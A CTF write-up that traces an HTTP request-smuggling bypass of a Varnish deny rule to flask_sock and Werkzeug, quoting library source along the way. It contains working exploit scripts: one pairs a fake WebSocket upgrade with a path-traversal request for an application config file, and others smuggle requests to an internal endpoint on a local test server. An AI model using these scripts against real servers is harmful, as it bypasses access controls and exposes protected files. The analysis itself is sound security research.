I recently played Securinets CTF, which have hosted a Web challenge Mark4Archive by @nzeros, which required to bypass this Varnish rule:
if (req.url ~ "^/api/pdf") {
# Respond with a 403 Forbidden status
return (synth(403, "Forbidden - Internal Endpoint"));
} if (req.http.upgrade ~ "(?i)websocket") {
return (pipe);
}
The challenge author's writeup has the PoC script to exploit the HTTP request smuggling issue, and references the technique disclosed some time ago by @0ang3el, you can read more about it here, TLDR is to trick the frontend server (e.g Varnish) to think that the backend has reserved the current socket for WebSocket connection, while the backend is not, so that the frontend server keeps the socket open with the backend, and you issue arbitrary HTTP requests bypassing the frontend server rules. but looking at the PoC script:
import socket
import os
req1 = '''GET /echo HTTP/1.1
Host: 20.197.61.105:80
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: qsdqsdqs
New: aaasaa
'''.replace('\n', '\r\n')
req2 = '''GET /api/pdf?p=../../../../../../../usr/src/app/config/__pycache__/config.cpython-37.pyc HTTP/1.1
Host: 20.197.61.105:80
'''.replace('\n', '\r\n')
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
print("supposed connected")
sock.sendall(req1.encode('utf-8'))
data1 = sock.recv(4096).decode()
print("data1 \n", data1)
print("----------")
sock.sendall(req2.encode('utf-8'))
data = sock.recv(8192)
print("data",data)
sock.sendall(req2.encode('utf-8'))
data = sock.recv(8192)
print("data2",data)
a = []
#print(sock.recv(8192))
start = False
while (x:=sock.recv(2048)) != b"":
if b"PDF-" in x:
x = x[x.find(b"%PDF-"):]
start = True
if start:
a.append(x)
else:
print(x)
#print(a)
# print(sock.recv(8192))
# print(sock.recv(2048))
# print(sock.recv(2048))
# print(sock.recv(1024))
# print(sock.recv(1024))
# print(sock.recv(1024))
# print(sock.recv(1024))
# print(sock.recv(1024))
sock.shutdown(socket.SHUT_RDWR)
sock.close()
#data = b'%PDF-1.4\n\r\n40\r\n%\x93\x8c\x8b\x9e ReportLab Generated PDF document http://www.reportlab.com\n\r\n8\r\n1 0 obj\n\r\n3\r\n<<\n\r\n1e\r\n/F1 2 0 R /F2 3 0 R /F3 4 0 R\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n2 0 obj\n\r\n3\r\n<<\n\r\n56\r\n/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n3 0 obj\n\r\n3\r\n<<\n\r\n5b\r\n/BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding /Name /F2 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n4 0 obj\n\r\n3\r\n<<\n\r\n54\r\n/BaseFont /Courier /Encoding /WinAnsiEncoding /Name /F3 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n5 0 obj\n\r\n3\r\n<<\n\r\n46\r\n/Contents 9 0 R /MediaBox [ 0 0 792 612 ] /Parent 8 0 R /Resources <<\n\r\n3c\r\n/Font 1 0 R /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ]\n\r\n17\r\n>> /Rotate 0 /Trans <<\n\r\n1\r\n\n\r\n4\r\n>> \n\r\ne\r\n /Type /Page\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n6 0 obj\n\r\n3\r\n<<\n\r\n2f\r\n/PageMode /UseNone /Pages 8 0 R /Type /Catalog\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n7 0 obj\n\r\n3\r\n<<\n\r\nc2\r\n/Author (\\(anonymous\\)) /CreationDate (D:20230806025432+00\'00\') /Creator (\\(unspecified\\)) /Keywords () /ModDate (D:20230806025432+00\'00\') /Producer (ReportLab PDF Library - www.reportlab.com) \n\r\n44\r\n /Subject (\\(unspecified\\)) /Title (\\(anonymous\\)) /Trapped /False\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n8 0 obj\n\r\n3\r\n<<\n\r\n26\r\n/Count 1 /Kids [ 5 0 R ] /Type /Pages\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n9 0 obj\n\r\n3\r\n<<\n\r\n34\r\n/Filter [ /ASCII85Decode /FlateDecode ] /Length 619\n\r\n3\r\n>>\n\r\n7\r\nstream\n\r\n275\r\nGasIe9p;&#%)(h*ka6O*A\'@H[qUWtkp95S**=#h9$T>t4$3.`&%D-=AdZME1M\'kG(gYi^:EVIZrJ<(SPY8hcmfam$2-AH=I?aA5N\'q^l*\'G=/ObQTWNPq+EGYFVnp_(Hma!He]S&&&K2]*.#\'"fsr_9f\'X6;lJkBI*f/?D.V[qC/&nu#MDnohS[6B"]"QGp=C!ulDF>8)[)Z&p2n[tG\'ju"#pVuT^_@/q_KBM88Xr5"k!J4&LJ"n*ZpuO?C5bUd8"0MED9"2*hBJgkD9>HQA^;PgF70o:o4lm#Zq-5(-t7mV=m0NhSKfX#gE_Vbi?4VZ1P/HG7T$\'OC]iXIlZ3Xjl8Ol\\h$P21$JC@(=>\'3?@Lc_(;R]3STjcm#[PapoF^*W9WG3tWd9PlBI<6d .enigf7="" e.7hcwy-="" e:rthj="" j="" lc="" lh7nundf="" ll1="" o8oaw="" pr="" q="" qwn="" rt="" rvgsqech9gx1="">.X"_lpQoq(umf&]k0I>.J[8X,T2BdOV>g_lAQ\'B08X@`0Elkq:\\W0aH,\'"=-4IT,V4_M?nV7pt-eQg\'MTrr^f5e$`rZYbC#;ErFjT~>endstream\n\r\n7\r\nendobj\n\r\n5\r\nxref\n\r\n5\r\n0 10\n\r\n14\r\n0000000000 65535 f \n\r\n14\r\n0000000073 00000 n \n\r\n14\r\n0000000124 00000 n \n\r\n14\r\n0000000231 00000 n \n\r\n14\r\n0000000343 00000 n \n\r\n14\r\n0000000448 00000 n \n\r\n14\r\n0000000641 00000 n \n\r\n14\r\n0000000709 00000 n \n\r\n14\r\n0000000992 00000 n \n\r\n14\r\n0000001051 00000 n \n\r\n8\r\ntrailer\n\r\n3\r\n<<\n\r\n5\r\n/ID \n\r\n47\r\n[<43143a1b321f0a753a89d946df872565><43143a1b321f0a753a89d946df872565>]\n\r\n48\r\n% ReportLab generated PDF document -- digest (http://www.reportlab.com)\n\r\n1\r\n\n\r\nc\r\n/Info 7 0 R\n\r\nc\r\n/Root 6 0 R\n\r\n9\r\n/Size 10\n\r\n3\r\n>>\n\r\na\r\nstartxref\n\r\n5\r\n1760\n\r\n6\r\n%%EOF\n\r\n0\r\n\r\n'.replace(b'\r\n', b'')
data= b''.join(a).replace(b'\r\n', b'')
print(data)
it = 0
idx = data.find(b'\n')
parsed = data[:idx+1]
data = data[idx:]
while (idx := data.find(b'\n')) != -1:
print("parsed", parsed)
data = data[idx+1:]
print("data", data[:50])
offsetEnd = 1
offset = int(b"0x"+data[:offsetEnd], 16)
if offset == 0:
break
while data[offsetEnd:][offset-1] != 10:
#print(data[offsetEnd:])
#print(offset, data[offsetEnd:][offset])
offsetEnd += 1
offset = int(b"0x"+data[:offsetEnd], 16)
print("toadd", data[offsetEnd:][:offset])
parsed += data[offsetEnd:][:offset]
print(parsed)
it +=1
if it == 2:
pass
if os.path.exists("output_sol.pdf"):
os.remove("output_sol.pdf")
with open('output_sol.pdf', 'wb') as f:
f.write(parsed)
if __name__ == "__main__":
main('20.197.61.105:80')
to confirm this, i created a minimal backend that has an HTTP endpoint and a WebSocket endpoint, edited the PoC to GET /internal instead of /api/pdf, run the PoC directly on the minimal backend (no Varnish at all) and my guess was right, the app returned 101 Upgrade, followed by WebSocket messages, then the response of the "smuggled" request to /internal. this is the minimal backend:
from flask import Flask, Response
from flask_sock import Sock
import time
import json
app = Flask(__name__)
sock = Sock(app)
@app.route('/internal')
def internal():
return "ACCESS GRANTED", 200
@sock.route('/echo')
def echo(sock):
total_size = 100
progress = 0
while progress < total_size:
time.sleep(0.1)
progress += 10
sock.send(json.dumps({'progress': progress}))
return "complete!"
if __name__ == '__main__':
app.run()
now it is clear that the issue is in flask_sock or some other Python component and not Varnish, after several hours of debugging it turned out that whats happening was that the whole socket input was taken as a pipelined HTTP request or at least in Python's http.server realm.
this is an example of an HTTP request that uses pipelining:
GET /first HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
GET /second HTTP/1.1
Host: 127.0.0.1
Connection: close
if you try pipelining HTTP requests directly on the app it won't work:
because Werkzeug does not support it, and always returns Connection: close header. here is the relevant snippet:
# Always close the connection. This disables HTTP/1.1
# keep-alive connections. They aren't handled well by
# Python's http.server because it doesn't know how to
# drain the stream before the next request line.
self.send_header("Connection", "close")
self.end_headers()
# If the handler doesn't directly set a protocol version and
# thread or process workers are used, then allow chunked
# responses and keep-alive connections by enabling HTTP/1.1.
if "protocol_version" not in vars(handler) and (
self.multithread or self.multiprocess
):
handler.protocol_version = "HTTP/1.1"
# Always close the connection. This disables HTTP/1.1
# keep-alive connections. They aren't handled well by
# Python's http.server because it doesn't know how to
# drain the stream before the next request line.
self.send_header("Connection", "close")
self.end_headers()
def send_header(self, keyword, value):
"""Send a MIME header to the headers buffer."""
if self.request_version != 'HTTP/0.9':
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(
("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
if keyword.lower() == 'connection':
if value.lower() == 'close':
self.close_connection = True
elif value.lower() == 'keep-alive':
self.close_connection = False
def handle(self):
"""Handle multiple requests if necessary."""
self.close_connection = True
self.handle_one_request()
while not self.close_connection:
self.handle_one_request()
def decorator(f):
@wraps(f)
def websocket_route(*args, **kwargs): # pragma: no cover
ws = Server(request.environ, **current_app.config.get(
'SOCK_SERVER_OPTIONS', {}))
try:
f(ws, *args, **kwargs)
except ConnectionClosed:
pass
try:
ws.close()
except: # noqa: E722
pass
class WebSocketResponse(Response):
def __call__(self, *args, **kwargs):
if ws.mode == 'eventlet':
try:
from eventlet.wsgi import WSGI_LOCAL
ALREADY_HANDLED = []
except ImportError:
from eventlet.wsgi import ALREADY_HANDLED
WSGI_LOCAL = None
if hasattr(WSGI_LOCAL, 'already_handled'):
WSGI_LOCAL.already_handled = True
return ALREADY_HANDLED
elif ws.mode == 'gunicorn':
raise StopIteration()
elif ws.mode == 'werkzeug':
raise ConnectionError()
else:
return []
return WebSocketResponse()
handshake method is called up on Server initiation:
def handshake(self):
in_data = b'GET / HTTP/1.1\r\n'
for key, value in self.environ.items():
if key.startswith('HTTP_'):
header = '-'.join([p.capitalize() for p in key[5:].split('_')])
in_data += f'{header}: {value}\r\n'.encode()
in_data += b'\r\n'
self.ws.receive_data(in_data)
self.connected = self._handle_events()
def _handle_events(self):
keep_going = True
out_data = b''
for event in self.ws.events():
try:
if isinstance(event, Request):
self.subprotocol = self.choose_subprotocol(event)
out_data += self.ws.send(AcceptConnection(
subprotocol=self.subprotocol,
extensions=[PerMessageDeflate()]))
elif isinstance(event, CloseConnection):
if self.is_server:
out_data += self.ws.send(event.response())
self.close_reason = event.code
self.close_message = event.reason
self.connected = False
self.event.set()
keep_going = False
elif isinstance(event, Ping):
out_data += self.ws.send(event.response())
elif isinstance(event, Pong):
self.pong_received = True
elif isinstance(event, (TextMessage, BytesMessage)):
self.incoming_message_len += len(event.data)
if self.max_message_size and \
self.incoming_message_len > self.max_message_size:
out_data += self.ws.send(CloseConnection(
CloseReason.MESSAGE_TOO_BIG, 'Message is too big'))
self.event.set()
keep_going = False
break
if self.incoming_message is None:
# store message as is first
# if it is the first of a group, the message will be
# converted to bytearray on arrival of the second
# part, since bytearrays are mutable and can be
# concatenated more efficiently
self.incoming_message = event.data
elif isinstance(event, TextMessage):
if not isinstance(self.incoming_message, bytearray):
# convert to bytearray and append
self.incoming_message = bytearray(
(self.incoming_message + event.data).encode())
else:
# append to bytearray
self.incoming_message += event.data.encode()
else:
if not isinstance(self.incoming_message, bytearray):
# convert to mutable bytearray and append
self.incoming_message = bytearray(
self.incoming_message + event.data)
else:
# append to bytearray
self.incoming_message += event.data
if not event.message_finished:
continue
if isinstance(self.incoming_message, (str, bytes)):
# single part message
self.input_buffer.append(self.incoming_message)
elif isinstance(event, TextMessage):
# convert multi-part message back to text
self.input_buffer.append(
self.incoming_message.decode())
else:
# convert multi-part message back to bytes
self.input_buffer.append(bytes(self.incoming_message))
self.incoming_message = None
self.incoming_message_len = 0
self.event.set()
else: # pragma: no cover
pass
except LocalProtocolError: # pragma: no cover
out_data = b''
self.event.set()
keep_going = False
if out_data:
self.sock.send(out_data)
return keep_going
at this point Werkzeug is still waiting for the route to finish its execution and return the response:
Flask app is called in the first line, app() is responsible for resolving the routes internally and calling the right route handler, in this case its websocket_route then echo method, that will sleep 1 second then return. but looking closely at websocket_route you will notice that our returned response (e.i: "complete!") is not used at all, websocket_route does not even capture the return value of echo method. instead it returns WebSockerResponse() object: def execute(app: WSGIApplication) -> None:
application_iter = app(environ, start_response)
try:
for data in application_iter:
write(data)
if not headers_sent:
write(b"")
if chunk_response:
self.wfile.write(b"0\r\n\r\n")
finally:
# Check for any remaining data in the read socket, and discard it. This
# will read past request.max_content_length, but lets the client see a
# 413 response instead of a connection reset failure. If we supported
# keep-alive connections, this naive approach would break by reading the
# next request line. Since we know that write (above) closes every
# connection we can read everything.
selector = selectors.DefaultSelector()
selector.register(self.connection, selectors.EVENT_READ)
total_size = 0
total_reads = 0
# A timeout of 0 tends to fail because a client needs a small amount of
# time to continue sending its data.
while selector.select(timeout=0.01):
# Only read 10MB into memory at a time.
data = self.rfile.read(10_000_000)
total_size += len(data)
total_reads += 1
# Stop reading on no data, >=10GB, or 1000 reads. If a client sends
# more than that, they'll get a connection reset failure.
if not data or total_size >= 10_000_000_000 or total_reads > 1000:
break
selector.close()
class WebSocketResponse(Response):
def __call__(self, *args, **kwargs):
if ws.mode == 'eventlet':
try:
from eventlet.wsgi import WSGI_LOCAL
ALREADY_HANDLED = []
except ImportError:
from eventlet.wsgi import ALREADY_HANDLED
WSGI_LOCAL = None
if hasattr(WSGI_LOCAL, 'already_handled'):
WSGI_LOCAL.already_handled = True
return ALREADY_HANDLED
elif ws.mode == 'gunicorn':
raise StopIteration()
elif ws.mode == 'werkzeug':
raise ConnectionError()
else:
return []
return WebSocketResponse()
def run_wsgi(self) -> None:
if self.headers.get("Expect", "").lower().strip() == "100-continue":
self.wfile.write(b"HTTP/1.1 100 Continue\r\n\r\n")
self.environ = environ = self.make_environ()
status_set: str | None = None
headers_set: list[tuple[str, str]] | None = None
status_sent: str | None = None
headers_sent: list[tuple[str, str]] | None = None
chunk_response: bool = False
[snipped]
try:
execute(self.server.app)
except (ConnectionError, socket.timeout) as e:
self.connection_dropped(e, environ)
except Exception as e:
if self.server.passthrough_errors:
raise
if status_sent is not None and chunk_response:
self.close_connection = True
try:
# if we haven't yet sent the headers but they are set
# we roll back to be able to set them again.
if status_sent is None:
status_set = None
headers_set = None
execute(InternalServerError())
except Exception:
pass
from .debug.tbtools import DebugTraceback
msg = DebugTraceback(e).render_traceback_text()
self.server.log("error", f"Error on request:\n{msg}")
self.connection_dropped is called, defined here:
def connection_dropped(
self, error: BaseException, environ: WSGIEnvironment | None = None
) -> None:
"""Called if the connection was closed by the client. By default
nothing happens.
"""
it should be noted that at this point the socket is closed, as websocket_route have called ws.close(), which closes the socket:
def close(self, reason=None, message=None):
super().close(reason=reason, message=message)
self.sock.close()
def setup(self):
self.connection = self.request
if self.timeout is not None:
self.connection.settimeout(self.timeout)
if self.disable_nagle_algorithm:
self.connection.setsockopt(socket.IPPROTO_TCP,
socket.TCP_NODELAY, True)
self.rfile = self.connection.makefile('rb', self.rbufsize)
if self.wbufsize == 0:
self.wfile = _SocketWriter(self.connection)
else:
self.wfile = self.connection.makefile('wb', self.wbufsize)now that we understand the issue better, here is a simple script that GETs /internal:
import socket
req3 = '''GET /echo HTTP/1.1
Host: localhost
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Upgrade: websocket
Origin: http://127.0.0.1
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-WebSocket-Key: V4XssCMN39pL17Emy4b7mQ==
GET /internal HTTP/1.1
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", int("5000")))
print("connected")
sock.sendall(req3.encode('utf-8'))
while True:
data = sock.recv(8192)
if data == b'':
break
print(data.decode(errors='ignore'))
there is one issue left, if the WebSocket route was reading data from the socket it would consume our second HTTP request, lets change our minimal backend and test that:
from flask import Flask, Response
from flask_sock import Sock
import time
import json
app = Flask(__name__)
sock = Sock(app)
@app.route('/internal')
def internal():
return "ACCESS GRANTED", 200
@sock.route('/echo')
def echo(sock):
while True:
data = sock.receive()
sock.send(data)
if __name__ == '__main__':
app.run()
def _thread(self):
sel = None
if self.ping_interval:
next_ping = time() + self.ping_interval
sel = self.selector_class()
sel.register(self.sock, selectors.EVENT_READ, True)
while self.connected:
try:
if sel:
now = time()
if next_ping <= now or not sel.select(next_ping - now):
# we reached the timeout, we have to send a ping
if not self.pong_received:
self.close(reason=CloseReason.POLICY_VIOLATION,
message='Ping/Pong timeout')
break
self.pong_received = False
self.sock.send(self.ws.send(Ping()))
next_ping = max(now, next_ping) + self.ping_interval
continue
in_data = self.sock.recv(self.receive_bytes)
if len(in_data) == 0:
raise OSError()
except (OSError, ConnectionResetError): # pragma: no cover
self.connected = False
self.event.set()
break
self.ws.receive_data(in_data)
self.connected = self._handle_events()
sel.close() if sel else None
self.sock.close()
def receive(self, timeout=None):
"""Receive data over the WebSocket connection.
:param timeout: Amount of time to wait for the data, in seconds. Set
to ``None`` (the default) to wait indefinitely. Set
to 0 to read without blocking.
The data received is returned, as ``bytes`` or ``str``, depending on
the type of the incoming message.
"""
while self.connected and not self.input_buffer:
if not self.event.wait(timeout=timeout):
return None
self.event.clear()
if not self.connected: # pragma: no cover
raise ConnectionClosed(self.close_reason, self.close_message)
return self.input_buffer.pop(0)
import socket
req1 = '''GET /echo HTTP/1.1
Host: localhost
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Upgrade: websocket
Origin: http://127.0.0.1
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-WebSocket-Key: V4XssCMN39pL17Emy4b7mQ==
'''
req2 = '''GET /internal HTTP/1.1
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", int("5000")))
print("connected")
sock.sendall(req1.encode('utf-8'))
print(sock.recv(8192).decode(errors='ignore'))
sock.sendall(("A"*4096).encode('utf-8'))
__import__("time").sleep(2)
print(sock.recv(8192).decode(errors='ignore'))
sock.sendall(req2.encode('utf-8'))
while True:
data = sock.recv(8192)
if data == b'':
break
print(data.decode(errors='ignore'))
